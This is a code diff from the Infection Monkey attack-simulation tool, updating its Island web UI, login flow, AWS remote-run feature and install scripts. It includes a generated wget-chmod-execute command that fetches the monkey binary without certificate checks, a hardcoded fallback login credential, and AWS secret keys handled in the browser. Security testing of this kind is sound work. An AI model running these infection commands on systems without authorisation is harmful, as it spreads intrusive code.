if (this.auth.loggedIn()) {
|
switch (this.state.isLoggedIn) {
|
||||||
return page_component;
|
case true:
|
||||||
} else {
|
return page_component;
|
||||||
return <Redirect to={{pathname: '/login'}}/>;
|
case false:
|
||||||
|
return <Redirect to={{pathname: '/login'}}/>;
|
||||||
|
default:
|
||||||
|
return page_component;
|
||||||
|
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
@ -69,7 +82,8 @@ class AppComponent extends AuthComponent {
|
||||||
run_server: true,
|
run_server: true,
|
||||||
run_monkey: false,
|
run_monkey: false,
|
||||||
infection_done: false,
|
infection_done: false,
|
||||||
report_done: false
|
report_done: false,
|
||||||
|
isLoggedIn: undefined
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
|
@ -93,7 +93,7 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
};
|
};
|
||||||
|
|
||||||
resetConfig = () => {
|
resetConfig = () => {
|
||||||
this.authFetch('/api/configuration',
|
this.authFetch('/api/configuration/island',
|
||||||
{
|
{
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
headers: {'Content-Type': 'application/json'},
|
headers: {'Content-Type': 'application/json'},
|
||||||
|
@ -141,9 +141,12 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(res => {
|
.then(res => {
|
||||||
// This check is used to prevent unnecessary re-rendering
|
// This check is used to prevent unnecessary re-rendering
|
||||||
this.setState({
|
let allMonkeysAreDead = (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']);
|
||||||
allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done'])
|
if (allMonkeysAreDead !== this.state.allMonkeysAreDead) {
|
||||||
});
|
this.setState({
|
||||||
|
allMonkeysAreDead: allMonkeysAreDead
|
||||||
|
});
|
||||||
|
}
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
|
@ -34,9 +34,12 @@ class LoginPageComponent extends React.Component {
|
||||||
this.state = {
|
this.state = {
|
||||||
failed: false
|
failed: false
|
||||||
};
|
};
|
||||||
if (this.auth.loggedIn()) {
|
this.auth.loggedIn()
|
||||||
this.redirectToHome();
|
.then(res => {
|
||||||
}
|
if (res) {
|
||||||
|
this.redirectToHome();
|
||||||
|
}
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
|
|
|
@ -1,9 +1,10 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import {Button, Col, Well, Nav, NavItem, Collapse} from 'react-bootstrap';
|
import {Button, Col, Well, Nav, NavItem, Collapse, Form, FormControl, FormGroup} from 'react-bootstrap';
|
||||||
import CopyToClipboard from 'react-copy-to-clipboard';
|
import CopyToClipboard from 'react-copy-to-clipboard';
|
||||||
import {Icon} from 'react-fa';
|
import {Icon} from 'react-fa';
|
||||||
import {Link} from 'react-router-dom';
|
import {Link} from 'react-router-dom';
|
||||||
import AuthComponent from '../AuthComponent';
|
import AuthComponent from '../AuthComponent';
|
||||||
|
import AwsRunTable from "../run-monkey/AwsRunTable";
|
||||||
|
|
||||||
class RunMonkeyPageComponent extends AuthComponent {
|
class RunMonkeyPageComponent extends AuthComponent {
|
||||||
|
|
||||||
|
@ -13,10 +14,19 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
ips: [],
|
ips: [],
|
||||||
runningOnIslandState: 'not_running',
|
runningOnIslandState: 'not_running',
|
||||||
runningOnClientState: 'not_running',
|
runningOnClientState: 'not_running',
|
||||||
|
awsClicked: false,
|
||||||
selectedIp: '0.0.0.0',
|
selectedIp: '0.0.0.0',
|
||||||
selectedOs: 'windows-32',
|
selectedOs: 'windows-32',
|
||||||
showManual: false
|
showManual: false,
|
||||||
};
|
showAws: false,
|
||||||
|
isOnAws: false,
|
||||||
|
isAwsAuth: false,
|
||||||
|
awsUpdateClicked: false,
|
||||||
|
awsUpdateFailed: false,
|
||||||
|
awsKeyId: '',
|
||||||
|
awsSecretKey: '',
|
||||||
|
awsMachines: []
|
||||||
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
componentDidMount() {
|
componentDidMount() {
|
||||||
|
@ -37,6 +47,15 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
this.fetchAwsInfo();
|
||||||
|
this.fetchConfig()
|
||||||
|
.then(config => {
|
||||||
|
this.setState({
|
||||||
|
awsKeyId: config['cnc']['aws_config']['aws_access_key_id'],
|
||||||
|
awsSecretKey: config['cnc']['aws_config']['aws_secret_access_key']
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
this.authFetch('/api/client-monkey')
|
this.authFetch('/api/client-monkey')
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(res => {
|
.then(res => {
|
||||||
|
@ -50,6 +69,17 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
this.props.onStatusChange();
|
this.props.onStatusChange();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fetchAwsInfo() {
|
||||||
|
return this.authFetch('/api/remote-monkey?action=list_aws')
|
||||||
|
.then(res => res.json())
|
||||||
|
.then(res =>{
|
||||||
|
let is_aws = res['is_aws'];
|
||||||
|
if (is_aws) {
|
||||||
|
this.setState({isOnAws: true, awsMachines: res['instances'], isAwsAuth: res['auth']});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
generateLinuxCmd(ip, is32Bit) {
|
generateLinuxCmd(ip, is32Bit) {
|
||||||
let bitText = is32Bit ? '32' : '64';
|
let bitText = is32Bit ? '32' : '64';
|
||||||
return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
|
return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
|
||||||
|
@ -134,6 +164,192 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
toggleAws = () => {
|
||||||
|
this.setState({
|
||||||
|
showAws: !this.state.showAws
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
runOnAws = () => {
|
||||||
|
this.setState({
|
||||||
|
awsClicked: true
|
||||||
|
});
|
||||||
|
|
||||||
|
let instances = this.awsTable.state.selection.map(x => this.instanceIdToInstance(x));
|
||||||
|
|
||||||
|
this.authFetch('/api/remote-monkey',
|
||||||
|
{
|
||||||
|
method: 'POST',
|
||||||
|
headers: {'Content-Type': 'application/json'},
|
||||||
|
body: JSON.stringify({type: 'aws', instances: instances, island_ip: this.state.selectedIp})
|
||||||
|
}).then(res => res.json())
|
||||||
|
.then(res => {
|
||||||
|
let result = res['result'];
|
||||||
|
|
||||||
|
// update existing state, not run-over
|
||||||
|
let prevRes = this.awsTable.state.result;
|
||||||
|
for (let key in result) {
|
||||||
|
if (result.hasOwnProperty(key)) {
|
||||||
|
prevRes[key] = result[key];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
this.awsTable.setState({
|
||||||
|
result: prevRes,
|
||||||
|
selection: [],
|
||||||
|
selectAll: false
|
||||||
|
});
|
||||||
|
|
||||||
|
this.setState({
|
||||||
|
awsClicked: false
|
||||||
|
});
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
updateAwsKeyId = (evt) => {
|
||||||
|
this.setState({
|
||||||
|
awsKeyId: evt.target.value
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
updateAwsSecretKey = (evt) => {
|
||||||
|
this.setState({
|
||||||
|
awsSecretKey: evt.target.value
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
fetchConfig() {
|
||||||
|
return this.authFetch('/api/configuration/island')
|
||||||
|
.then(res => res.json())
|
||||||
|
.then(res => {
|
||||||
|
return res.configuration;
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
updateAwsKeys = () => {
|
||||||
|
this.setState({
|
||||||
|
awsUpdateClicked: true,
|
||||||
|
awsUpdateFailed: false
|
||||||
|
});
|
||||||
|
this.fetchConfig()
|
||||||
|
.then(config => {
|
||||||
|
let new_config = config;
|
||||||
|
new_config['cnc']['aws_config']['aws_access_key_id'] = this.state.awsKeyId;
|
||||||
|
new_config['cnc']['aws_config']['aws_secret_access_key'] = this.state.awsSecretKey;
|
||||||
|
return new_config;
|
||||||
|
})
|
||||||
|
.then(new_config => {
|
||||||
|
this.authFetch('/api/configuration/island',
|
||||||
|
{
|
||||||
|
method: 'POST',
|
||||||
|
headers: {'Content-Type': 'application/json'},
|
||||||
|
body: JSON.stringify(new_config)
|
||||||
|
})
|
||||||
|
.then(res => res.json())
|
||||||
|
.then(res => {
|
||||||
|
this.fetchAwsInfo()
|
||||||
|
.then(res => {
|
||||||
|
if (!this.state.isAwsAuth) {
|
||||||
|
this.setState({
|
||||||
|
awsUpdateClicked: false,
|
||||||
|
awsUpdateFailed: true
|
||||||
|
})
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
instanceIdToInstance = (instance_id) => {
|
||||||
|
let instance = this.state.awsMachines.find(
|
||||||
|
function (inst) {
|
||||||
|
return inst['instance_id'] === instance_id;
|
||||||
|
});
|
||||||
|
return {'instance_id': instance_id, 'os': instance['os']}
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
renderAuthAwsDiv() {
|
||||||
|
return (
|
||||||
|
<div style={{'marginBottom': '2em'}}>
|
||||||
|
{
|
||||||
|
this.state.ips.length > 1 ?
|
||||||
|
<Nav bsStyle="pills" justified activeKey={this.state.selectedIp} onSelect={this.setSelectedIp}
|
||||||
|
style={{'marginBottom': '2em'}}>
|
||||||
|
{this.state.ips.map(ip => <NavItem key={ip} eventKey={ip}>{ip}</NavItem>)}
|
||||||
|
</Nav>
|
||||||
|
: <div style={{'marginBottom': '2em'}} />
|
||||||
|
}
|
||||||
|
|
||||||
|
<AwsRunTable
|
||||||
|
data={this.state.awsMachines}
|
||||||
|
ref={r => (this.awsTable = r)}
|
||||||
|
/>
|
||||||
|
<div style={{'marginTop': '1em'}}>
|
||||||
|
<button
|
||||||
|
onClick={this.runOnAws}
|
||||||
|
className={'btn btn-default btn-md center-block'}
|
||||||
|
disabled={this.state.awsClicked}>
|
||||||
|
Run on selected machines
|
||||||
|
{ this.state.awsClicked ? <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> : null }
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
renderNotAuthAwsDiv() {
|
||||||
|
return (
|
||||||
|
<div style={{'marginBottom': '2em'}}>
|
||||||
|
<p style={{'fontSize': '1.2em'}}>
|
||||||
|
You haven't set your AWS account details or they're incorrect. Please enter them below to proceed.
|
||||||
|
</p>
|
||||||
|
<div style={{'marginTop': '1em'}}>
|
||||||
|
<div className="col-sm-12">
|
||||||
|
<div className="col-sm-6 col-sm-offset-3" style={{'fontSize': '1.2em'}}>
|
||||||
|
<div className="panel panel-default">
|
||||||
|
<div className="panel-body">
|
||||||
|
<div className="input-group center-block text-center">
|
||||||
|
<input type="text" className="form-control" placeholder="AWS Access Key ID"
|
||||||
|
value={this.state.awsKeyId}
|
||||||
|
onChange={evt => this.updateAwsKeyId(evt)}/>
|
||||||
|
<input type="text" className="form-control" placeholder="AWS Secret Access Key"
|
||||||
|
value={this.state.awsSecretKey}
|
||||||
|
onChange={evt => this.updateAwsSecretKey(evt)}/>
|
||||||
|
<Button
|
||||||
|
onClick={this.updateAwsKeys}
|
||||||
|
className={'btn btn-default btn-md center-block'}
|
||||||
|
disabled={this.state.awsUpdateClicked}
|
||||||
|
variant="primary">
|
||||||
|
Update AWS details
|
||||||
|
{ this.state.awsUpdateClicked ? <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> : null }
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div className="col-sm-8 col-sm-offset-2" style={{'fontSize': '1.2em'}}>
|
||||||
|
<p className="alert alert-info">
|
||||||
|
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
|
||||||
|
In order to remotely run commands on AWS EC2 instances, please make sure you have
|
||||||
|
the <a href="https://docs.aws.amazon.com/console/ec2/run-command/prereqs" target="_blank">prerequisites</a> and if the
|
||||||
|
instances don't show up, check the
|
||||||
|
AWS <a href="https://docs.aws.amazon.com/console/ec2/run-command/troubleshooting" target="_blank">troubleshooting guide</a>.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
{
|
||||||
|
this.state.awsUpdateFailed ?
|
||||||
|
<div className="col-sm-8 col-sm-offset-2" style={{'fontSize': '1.2em'}}>
|
||||||
|
<p className="alert alert-danger" role="alert">Authentication failed.</p>
|
||||||
|
</div>
|
||||||
|
:
|
||||||
|
null
|
||||||
|
}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
<Col xs={12} lg={8}>
|
<Col xs={12} lg={8}>
|
||||||
|
@ -166,7 +382,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
<p className="text-center">
|
<p className="text-center">
|
||||||
OR
|
OR
|
||||||
</p>
|
</p>
|
||||||
<p style={{'marginBottom': '2em'}}>
|
<p style={this.state.showManual || !this.state.isOnAws ? {'marginBottom': '2em'} : {}}>
|
||||||
<button onClick={this.toggleManual} className={'btn btn-default btn-lg center-block' + (this.state.showManual ? ' active' : '')}>
|
<button onClick={this.toggleManual} className={'btn btn-default btn-lg center-block' + (this.state.showManual ? ' active' : '')}>
|
||||||
Run on machine of your choice
|
Run on machine of your choice
|
||||||
</button>
|
</button>
|
||||||
|
@ -196,6 +412,30 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
{this.generateCmdDiv()}
|
{this.generateCmdDiv()}
|
||||||
</div>
|
</div>
|
||||||
</Collapse>
|
</Collapse>
|
||||||
|
{
|
||||||
|
this.state.isOnAws ?
|
||||||
|
<p className="text-center">
|
||||||
|
OR
|
||||||
|
</p>
|
||||||
|
:
|
||||||
|
null
|
||||||
|
}
|
||||||
|
{
|
||||||
|
this.state.isOnAws ?
|
||||||
|
<p style={{'marginBottom': '2em'}}>
|
||||||
|
<button onClick={this.toggleAws} className={'btn btn-default btn-lg center-block' + (this.state.showAws ? ' active' : '')}>
|
||||||
|
Run on AWS machine of your choice
|
||||||
|
</button>
|
||||||
|
</p>
|
||||||
|
:
|
||||||
|
null
|
||||||
|
}
|
||||||
|
<Collapse in={this.state.showAws}>
|
||||||
|
{
|
||||||
|
this.state.isAwsAuth ? this.renderAuthAwsDiv() : this.renderNotAuthAwsDiv()
|
||||||
|
}
|
||||||
|
|
||||||
|
</Collapse>
|
||||||
|
|
||||||
<p style={{'fontSize': '1.2em'}}>
|
<p style={{'fontSize': '1.2em'}}>
|
||||||
Go ahead and monitor the ongoing infection in the <Link to="/infection/map">Infection Map</Link> view.
|
Go ahead and monitor the ongoing infection in the <Link to="/infection/map">Infection Map</Link> view.
|
||||||
|
|
|
@ -0,0 +1,109 @@
|
||||||
|
import React from 'react';
|
||||||
|
import ReactTable from 'react-table'
|
||||||
|
import checkboxHOC from "react-table/lib/hoc/selectTable";
|
||||||
|
|
||||||
|
const CheckboxTable = checkboxHOC(ReactTable);
|
||||||
|
|
||||||
|
const columns = [
|
||||||
|
{
|
||||||
|
Header: 'Machines',
|
||||||
|
columns: [
|
||||||
|
{ Header: 'Machine', accessor: 'name'},
|
||||||
|
{ Header: 'Instance ID', accessor: 'instance_id'},
|
||||||
|
{ Header: 'IP Address', accessor: 'ip_address'},
|
||||||
|
{ Header: 'OS', accessor: 'os'}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
];
|
||||||
|
|
||||||
|
const pageSize = 10;
|
||||||
|
|
||||||
|
class AwsRunTableComponent extends React.Component {
|
||||||
|
constructor(props) {
|
||||||
|
super(props);
|
||||||
|
this.state = {
|
||||||
|
selection: [],
|
||||||
|
selectAll: false,
|
||||||
|
result: {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
toggleSelection = (key, shift, row) => {
|
||||||
|
// start off with the existing state
|
||||||
|
let selection = [...this.state.selection];
|
||||||
|
const keyIndex = selection.indexOf(key);
|
||||||
|
// check to see if the key exists
|
||||||
|
if (keyIndex >= 0) {
|
||||||
|
// it does exist so we will remove it using destructing
|
||||||
|
selection = [
|
||||||
|
...selection.slice(0, keyIndex),
|
||||||
|
...selection.slice(keyIndex + 1)
|
||||||
|
];
|
||||||
|
} else {
|
||||||
|
// it does not exist so add it
|
||||||
|
selection.push(key);
|
||||||
|
}
|
||||||
|
// update the state
|
||||||
|
this.setState({ selection });
|
||||||
|
};
|
||||||
|
|
||||||
|
isSelected = key => {
|
||||||
|
return this.state.selection.includes(key);
|
||||||
|
};
|
||||||
|
|
||||||
|
toggleAll = () => {
|
||||||
|
const selectAll = !this.state.selectAll;
|
||||||
|
const selection = [];
|
||||||
|
if (selectAll) {
|
||||||
|
// we need to get at the internals of ReactTable
|
||||||
|
const wrappedInstance = this.checkboxTable.getWrappedInstance();
|
||||||
|
// the 'sortedData' property contains the currently accessible records based on the filter and sort
|
||||||
|
const currentRecords = wrappedInstance.getResolvedState().sortedData;
|
||||||
|
// we just push all the IDs onto the selection array
|
||||||
|
currentRecords.forEach(item => {
|
||||||
|
selection.push(item._original.instance_id);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
this.setState({ selectAll, selection });
|
||||||
|
};
|
||||||
|
|
||||||
|
getTrProps = (s, r) => {
|
||||||
|
let color = "inherit";
|
||||||
|
if (r) {
|
||||||
|
let instId = r.original.instance_id;
|
||||||
|
if (this.isSelected(instId)) {
|
||||||
|
color = "#ffed9f";
|
||||||
|
} else if (this.state.result.hasOwnProperty(instId)) {
|
||||||
|
color = this.state.result[instId] ? "#00f01b" : '#f00000'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
style: {backgroundColor: color}
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
render() {
|
||||||
|
return (
|
||||||
|
<div className="data-table-container">
|
||||||
|
<CheckboxTable
|
||||||
|
ref={r => (this.checkboxTable = r)}
|
||||||
|
keyField="instance_id"
|
||||||
|
columns={columns}
|
||||||
|
data={this.props.data}
|
||||||
|
showPagination={true}
|
||||||
|
defaultPageSize={pageSize}
|
||||||
|
className="-highlight"
|
||||||
|
selectType="checkbox"
|
||||||
|
toggleSelection={this.toggleSelection}
|
||||||
|
isSelected={this.isSelected}
|
||||||
|
toggleAll={this.toggleAll}
|
||||||
|
selectAll={this.state.selectAll}
|
||||||
|
getTrProps={this.getTrProps}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default AwsRunTableComponent;
|
Binary file not shown.
Before Width: | Height: | Size: 9.6 KiB After Width: | Height: | Size: 34 KiB |
|
@ -1,6 +1,7 @@
|
||||||
import 'core-js/fn/object/assign';
|
import 'core-js/fn/object/assign';
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import ReactDOM from 'react-dom';
|
import ReactDOM from 'react-dom';
|
||||||
|
import 'babel-polyfill';
|
||||||
import App from './components/Main';
|
import App from './components/Main';
|
||||||
import Bootstrap from 'bootstrap/dist/css/bootstrap.css'; // eslint-disable-line no-unused-vars
|
import Bootstrap from 'bootstrap/dist/css/bootstrap.css'; // eslint-disable-line no-unused-vars
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,9 @@
|
||||||
|
import BaseConfig from './BaseConfig';
|
||||||
|
|
||||||
|
class PasswordConfig extends BaseConfig{
|
||||||
|
isAuthEnabled() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default PasswordConfig;
|
|
@ -1,12 +1,14 @@
|
||||||
import StandardConfig from './StandardConfig';
|
import StandardConfig from './StandardConfig';
|
||||||
import AwsConfig from './AwsConfig';
|
import AwsConfig from './AwsConfig';
|
||||||
|
import PasswordConfig from "./PasswordConfig";
|
||||||
|
|
||||||
const SERVER_CONFIG_JSON = require('../../../server_config.json');
|
const SERVER_CONFIG_JSON = require('../../../server_config.json');
|
||||||
|
|
||||||
const CONFIG_DICT =
|
const CONFIG_DICT =
|
||||||
{
|
{
|
||||||
'standard': StandardConfig,
|
'standard': StandardConfig,
|
||||||
'aws': AwsConfig
|
'aws': AwsConfig,
|
||||||
|
'password': PasswordConfig
|
||||||
};
|
};
|
||||||
|
|
||||||
export const SERVER_CONFIG = new CONFIG_DICT[SERVER_CONFIG_JSON['server_config']]();
|
export const SERVER_CONFIG = new CONFIG_DICT[SERVER_CONFIG_JSON['server_config']]();
|
||||||
|
|
|
@ -1,25 +1,26 @@
|
||||||
|
import { SHA3 } from 'sha3';
|
||||||
import decode from 'jwt-decode';
|
import decode from 'jwt-decode';
|
||||||
import {SERVER_CONFIG} from '../server_config/ServerConfig';
|
|
||||||
|
|
||||||
export default class AuthService {
|
export default class AuthService {
|
||||||
AUTH_ENABLED = SERVER_CONFIG.isAuthEnabled();
|
// SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
|
||||||
|
NO_AUTH_CREDS =
|
||||||
|
"55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062" +
|
||||||
|
"8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557";
|
||||||
|
|
||||||
login = (username, password) => {
|
login = (username, password) => {
|
||||||
if (this.AUTH_ENABLED) {
|
return this._login(username, this.hashSha3(password));
|
||||||
return this._login(username, password);
|
|
||||||
} else {
|
|
||||||
return {result: true};
|
|
||||||
}
|
|
||||||
};
|
};
|
||||||
|
|
||||||
authFetch = (url, options) => {
|
authFetch = (url, options) => {
|
||||||
if (this.AUTH_ENABLED) {
|
return this._authFetch(url, options);
|
||||||
return this._authFetch(url, options);
|
|
||||||
} else {
|
|
||||||
return fetch(url, options);
|
|
||||||
}
|
|
||||||
};
|
};
|
||||||
|
|
||||||
|
hashSha3(text) {
|
||||||
|
let hash = new SHA3(512);
|
||||||
|
hash.update(text);
|
||||||
|
return this._toHexStr(hash.digest());
|
||||||
|
}
|
||||||
|
|
||||||
_login = (username, password) => {
|
_login = (username, password) => {
|
||||||
return this._authFetch('/api/auth', {
|
return this._authFetch('/api/auth', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
|
@ -36,7 +37,6 @@ export default class AuthService {
|
||||||
this._removeToken();
|
this._removeToken();
|
||||||
return {result: false};
|
return {result: false};
|
||||||
}
|
}
|
||||||
|
|
||||||
})
|
})
|
||||||
};
|
};
|
||||||
|
|
||||||
|
@ -46,7 +46,7 @@ export default class AuthService {
|
||||||
'Content-Type': 'application/json'
|
'Content-Type': 'application/json'
|
||||||
};
|
};
|
||||||
|
|
||||||
if (this.loggedIn()) {
|
if (this._loggedIn()) {
|
||||||
headers['Authorization'] = 'JWT ' + this._getToken();
|
headers['Authorization'] = 'JWT ' + this._getToken();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -67,20 +67,26 @@ export default class AuthService {
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
loggedIn() {
|
async loggedIn() {
|
||||||
if (!this.AUTH_ENABLED) {
|
let token = this._getToken();
|
||||||
return true;
|
if ((token === null) || (this._isTokenExpired(token))) {
|
||||||
|
await this.attemptNoAuthLogin();
|
||||||
}
|
}
|
||||||
|
return this._loggedIn();
|
||||||
|
}
|
||||||
|
|
||||||
|
attemptNoAuthLogin() {
|
||||||
|
return this._login(this.NO_AUTH_CREDS, this.NO_AUTH_CREDS);
|
||||||
|
}
|
||||||
|
|
||||||
|
_loggedIn() {
|
||||||
const token = this._getToken();
|
const token = this._getToken();
|
||||||
return ((token !== null) && !this._isTokenExpired(token));
|
return ((token !== null) && !this._isTokenExpired(token));
|
||||||
}
|
}
|
||||||
|
|
||||||
logout() {
|
logout = () => {
|
||||||
if (this.AUTH_ENABLED) {
|
this._removeToken();
|
||||||
this._removeToken();
|
};
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
_isTokenExpired(token) {
|
_isTokenExpired(token) {
|
||||||
try {
|
try {
|
||||||
|
@ -103,4 +109,9 @@ export default class AuthService {
|
||||||
return localStorage.getItem('jwt')
|
return localStorage.getItem('jwt')
|
||||||
}
|
}
|
||||||
|
|
||||||
|
_toHexStr(byteArr) {
|
||||||
|
return byteArr.reduce((acc, x) => (acc + ('0' + x.toString(0x10)).slice(-2)), '');
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
|
@ -5,4 +5,4 @@ Homepage: http://www.guardicore.com
|
||||||
Priority: optional
|
Priority: optional
|
||||||
Version: 1.0
|
Version: 1.0
|
||||||
Description: Guardicore Infection Monkey Island installation package
|
Description: Guardicore Infection Monkey Island installation package
|
||||||
Depends: openssl, python-pip, python-dev
|
Depends: openssl, python-pip, python-dev, mongodb
|
||||||
|
|
|
@ -20,14 +20,12 @@ if [ -d "/etc/systemd/network" ]; then
|
||||||
cp ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/*.service /lib/systemd/system/
|
cp ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/*.service /lib/systemd/system/
|
||||||
chmod +x ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/start_server.sh
|
chmod +x ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/start_server.sh
|
||||||
systemctl daemon-reload
|
systemctl daemon-reload
|
||||||
systemctl enable monkey-mongo
|
|
||||||
systemctl enable monkey-island
|
systemctl enable monkey-island
|
||||||
fi
|
fi
|
||||||
|
|
||||||
${MONKEY_FOLDER}/monkey_island/create_certificate.sh
|
${MONKEY_FOLDER}/monkey_island/create_certificate.sh
|
||||||
|
|
||||||
service monkey-island start
|
service monkey-island start
|
||||||
service monkey-mongo start
|
|
||||||
|
|
||||||
echo Monkey Island installation ended
|
echo Monkey Island installation ended
|
||||||
|
|
||||||
|
|
|
@ -1,12 +1,9 @@
|
||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
|
|
||||||
service monkey-island stop || true
|
service monkey-island stop || true
|
||||||
service monkey-mongo stop || true
|
|
||||||
|
|
||||||
rm -f /etc/init/monkey-island.conf
|
rm -f /etc/init/monkey-island.conf
|
||||||
rm -f /etc/init/monkey-mongo.conf
|
|
||||||
[ -f "/lib/systemd/system/monkey-island.service" ] && rm -f /lib/systemd/system/monkey-island.service
|
[ -f "/lib/systemd/system/monkey-island.service" ] && rm -f /lib/systemd/system/monkey-island.service
|
||||||
[ -f "/lib/systemd/system/monkey-mongo.service" ] && rm -f /lib/systemd/system/monkey-mongo.service
|
|
||||||
|
|
||||||
rm -r -f /var/monkey
|
rm -r -f /var/monkey
|
||||||
|
|
||||||
|
|
|
@ -13,7 +13,7 @@ jsonschema
|
||||||
netifaces
|
netifaces
|
||||||
ipaddress
|
ipaddress
|
||||||
enum34
|
enum34
|
||||||
PyCrypto
|
pycryptodome
|
||||||
boto3
|
boto3
|
||||||
awscli
|
awscli
|
||||||
virtualenv
|
virtualenv
|
|
@ -1,6 +0,0 @@
|
||||||
#!/bin/bash
|
|
||||||
|
|
||||||
service monkey-mongo stop
|
|
||||||
cd /var/monkey/monkey_island
|
|
||||||
rm -rf ./db/*
|
|
||||||
service monkey-mongo start
|
|
|
@ -1,5 +1,4 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
cd /var/monkey
|
cd /var/monkey
|
||||||
/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db &
|
|
||||||
/var/monkey/monkey_island/bin/python/bin/python monkey_island.py
|
/var/monkey/monkey_island/bin/python/bin/python monkey_island.py
|
|
@ -8,7 +8,7 @@ respawn limit unlimited
|
||||||
|
|
||||||
script
|
script
|
||||||
chdir /var/monkey
|
chdir /var/monkey
|
||||||
exec python monkey_island/cc/main.py
|
exec monkey_island/bin/python/bin/python monkey_island.py
|
||||||
end script
|
end script
|
||||||
|
|
||||||
post-stop script
|
post-stop script
|
||||||
|
|
|
@ -1,18 +0,0 @@
|
||||||
description "Monkey Island Mongo Service"
|
|
||||||
|
|
||||||
start on runlevel [2345]
|
|
||||||
stop on runlevel [!2345]
|
|
||||||
|
|
||||||
respawn
|
|
||||||
respawn limit unlimited
|
|
||||||
|
|
||||||
script
|
|
||||||
chdir /var/monkey/monkey_island/
|
|
||||||
exec /var/monkey/monkey_island/bin/mongodb/bin/mongod --dbpath db
|
|
||||||
end script
|
|
||||||
|
|
||||||
post-stop script
|
|
||||||
if [ -n $UPSTART_EVENTS ]; then
|
|
||||||
exec sleep 3
|
|
||||||
fi
|
|
||||||
end script
|
|
|
@ -1,6 +1,5 @@
|
||||||
[Unit]
|
[Unit]
|
||||||
Description=Monkey Island Service
|
Description=Monkey Island Service
|
||||||
Wants=monkey-mongo.service
|
|
||||||
After=network.target
|
After=network.target
|
||||||
|
|
||||||
[Service]
|
[Service]
|
||||||
|
|
|
@ -1,12 +0,0 @@
|
||||||
[Unit]
